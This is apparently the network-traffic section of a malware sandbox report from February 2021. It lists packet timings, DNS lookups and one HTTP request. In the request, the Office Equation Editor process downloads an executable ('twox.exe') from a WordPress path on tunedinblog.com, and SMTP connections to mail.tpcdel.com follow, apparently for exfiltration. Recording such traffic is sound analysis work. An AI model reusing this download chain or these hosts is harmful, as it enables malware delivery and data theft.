Feb 23, 2021 16:55:46.163176060 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163736105 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163773060 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163796902 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163810968 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163830042 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163844109 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163865089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163886070 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163888931 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163908958 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163913012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163935900 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163949013 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164005041 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164026976 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164103985 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164236069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164264917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164304972 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164356947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164375067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164396048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164416075 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164448023 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164453983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164483070 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164505959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164509058 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164529085 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164570093 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164599895 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164623022 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164650917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164654016 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164661884 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164681911 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164704084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164706945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.164726019 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.164751053 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165184975 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165215015 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165235043 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165257931 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165281057 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165282011 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165302992 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165308952 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165335894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165352106 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165360928 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165380001 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165421009 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165424109 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165442944 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165467978 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165488958 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165493965 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165519953 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165539980 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.165568113 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165585995 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165615082 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.165637016 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166078091 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166102886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166125059 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166126966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166141033 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166165113 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166187048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166215897 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166341066 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166342020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166368961 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166388035 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166410923 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166435003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166435957 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166457891 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166481018 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166481972 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166513920 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166527033 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166527987 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166553020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166573048 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166580915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166605949 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166626930 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166631937 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166666031 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166687012 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166687965 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166711092 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166731119 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.166763067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.166887045 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.167269945 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167300940 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167323112 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167335987 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167347908 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167372942 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167505026 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.167517900 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167612076 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167638063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167661905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167685986 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.167689085 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167707920 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.167715073 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167738914 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167759895 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167776108 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.167793989 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.167859077 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168073893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168103933 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168128014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168150902 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168169975 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168171883 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168196917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168204069 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168224096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168242931 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168265104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168287992 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168299913 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168324947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168345928 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168348074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168366909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168387890 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168401957 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168409109 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168435097 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168451071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168468952 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168509960 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.168936968 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168960094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168976068 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.168998003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169006109 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169027090 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169047117 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169054985 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169075966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169094086 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169115067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169114113 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169137955 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169158936 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169159889 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169188023 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169209003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169209003 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169230938 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169253111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169255972 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.169271946 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169327021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.169329882 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170176983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170202017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170222998 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170245886 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170249939 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170278072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170284986 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170286894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170311928 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170317888 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170321941 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170345068 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170370102 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170368910 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170392990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170413017 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170414925 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170437098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170459986 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170460939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170475006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170497894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170517921 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170520067 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170569897 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170847893 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170870066 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170903921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170926094 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.170937061 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170947075 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170972109 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.170991898 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171010017 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171014071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171027899 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171040058 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171062946 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171082973 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171089888 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171118021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171140909 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171140909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171168089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171194077 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171195984 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171215057 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171323061 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171471119 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171828032 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171849966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171874046 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.171895027 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.171896935 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.172070980 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.299880028 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:50.435173988 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:50.630774975 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:50.631006956 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:51.257219076 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:51.257775068 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:51.453808069 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:51.454435110 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:51.650553942 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:51.651294947 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:51.887547016 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:53.570527077 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:53.570877075 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:53.767194986 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:53.767842054 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:53.768011093 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:53.768687010 CET	49170	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:55:53.963824987 CET	587	49170	103.35.120.75	192.168.2.22
Feb 23, 2021 16:55:54.568341017 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:54.673331976 CET	49168	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:56:02.551352024 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:02.745543957 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:02.745649099 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:03.772083998 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:03.772993088 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:03.967884064 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:03.968130112 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:04.162950993 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:04.163149118 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:04.396792889 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:05.879669905 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:05.880009890 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:06.076339960 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:06.076731920 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:06.077002048 CET	587	49171	103.35.120.75	192.168.2.22
Feb 23, 2021 16:56:06.077064037 CET	49171	587	192.168.2.22	103.35.120.75
Feb 23, 2021 16:56:06.270643950 CET	587	49171	103.35.120.75	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 16:53:52.341901064 CET	52197	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:53:52.723155975 CET	53	52197	8.8.8.8	192.168.2.22
Feb 23, 2021 16:53:52.723788023 CET	52197	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:53:53.110671997 CET	53	52197	8.8.8.8	192.168.2.22
Feb 23, 2021 16:53:53.111388922 CET	52197	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:53:53.821729898 CET	53	52197	8.8.8.8	192.168.2.22
Feb 23, 2021 16:54:00.170200109 CET	53099	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:54:00.230391979 CET	53	53099	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:27.316231012 CET	52838	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:27.475828886 CET	53	52838	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:27.476371050 CET	52838	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:27.794637918 CET	53	52838	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:35.340843916 CET	61200	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:35.405267000 CET	53	61200	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:45.184340000 CET	49548	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:45.244551897 CET	53	49548	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:50.279475927 CET	55627	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:50.331012011 CET	53	55627	8.8.8.8	192.168.2.22
Feb 23, 2021 16:55:50.331909895 CET	55627	53	192.168.2.22	8.8.8.8
Feb 23, 2021 16:55:50.391808987 CET	53	55627	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 23, 2021 16:53:52.341901064 CET	192.168.2.22	8.8.8.8	0x62a5	Standard query (0)	tunedinblog.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:53:52.723788023 CET	192.168.2.22	8.8.8.8	0x62a5	Standard query (0)	tunedinblog.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:53:53.111388922 CET	192.168.2.22	8.8.8.8	0x62a5	Standard query (0)	tunedinblog.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:54:00.170200109 CET	192.168.2.22	8.8.8.8	0x7a0a	Standard query (0)	coroloboxorozor.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:27.316231012 CET	192.168.2.22	8.8.8.8	0x1271	Standard query (0)	mail.tpcdel.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:27.476371050 CET	192.168.2.22	8.8.8.8	0x1271	Standard query (0)	mail.tpcdel.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:35.340843916 CET	192.168.2.22	8.8.8.8	0x7a16	Standard query (0)	coroloboxorozor.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:45.184340000 CET	192.168.2.22	8.8.8.8	0xf6f0	Standard query (0)	coroloboxorozor.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:50.279475927 CET	192.168.2.22	8.8.8.8	0x4f2b	Standard query (0)	mail.tpcdel.com	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:50.331909895 CET	192.168.2.22	8.8.8.8	0x4f2b	Standard query (0)	mail.tpcdel.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 23, 2021 16:53:52.723155975 CET	8.8.8.8	192.168.2.22	0x62a5	No error (0)	tunedinblog.com	150.95.81.183	A (IP address)	IN (0x0001)
Feb 23, 2021 16:53:53.110671997 CET	8.8.8.8	192.168.2.22	0x62a5	No error (0)	tunedinblog.com	150.95.81.183	A (IP address)	IN (0x0001)
Feb 23, 2021 16:53:53.821729898 CET	8.8.8.8	192.168.2.22	0x62a5	No error (0)	tunedinblog.com	150.95.81.183	A (IP address)	IN (0x0001)
Feb 23, 2021 16:54:00.230391979 CET	8.8.8.8	192.168.2.22	0x7a0a	No error (0)	coroloboxorozor.com	172.67.172.17	A (IP address)	IN (0x0001)
Feb 23, 2021 16:54:00.230391979 CET	8.8.8.8	192.168.2.22	0x7a0a	No error (0)	coroloboxorozor.com	104.21.71.230	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:27.475828886 CET	8.8.8.8	192.168.2.22	0x1271	No error (0)	mail.tpcdel.com	103.35.120.75	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:27.794637918 CET	8.8.8.8	192.168.2.22	0x1271	No error (0)	mail.tpcdel.com	103.35.120.75	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:35.405267000 CET	8.8.8.8	192.168.2.22	0x7a16	No error (0)	coroloboxorozor.com	172.67.172.17	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:35.405267000 CET	8.8.8.8	192.168.2.22	0x7a16	No error (0)	coroloboxorozor.com	104.21.71.230	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:45.244551897 CET	8.8.8.8	192.168.2.22	0xf6f0	No error (0)	coroloboxorozor.com	172.67.172.17	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:45.244551897 CET	8.8.8.8	192.168.2.22	0xf6f0	No error (0)	coroloboxorozor.com	104.21.71.230	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:50.331012011 CET	8.8.8.8	192.168.2.22	0x4f2b	No error (0)	mail.tpcdel.com	103.35.120.75	A (IP address)	IN (0x0001)
Feb 23, 2021 16:55:50.391808987 CET	8.8.8.8	192.168.2.22	0x4f2b	No error (0)	mail.tpcdel.com	103.35.120.75	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

tunedinblog.com

coroloboxorozor.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	150.95.81.183	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 16:53:54.098867893 CET	1	OUT	GET /wp-includes/twox.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tunedinblog.com Connection: Keep-Alive
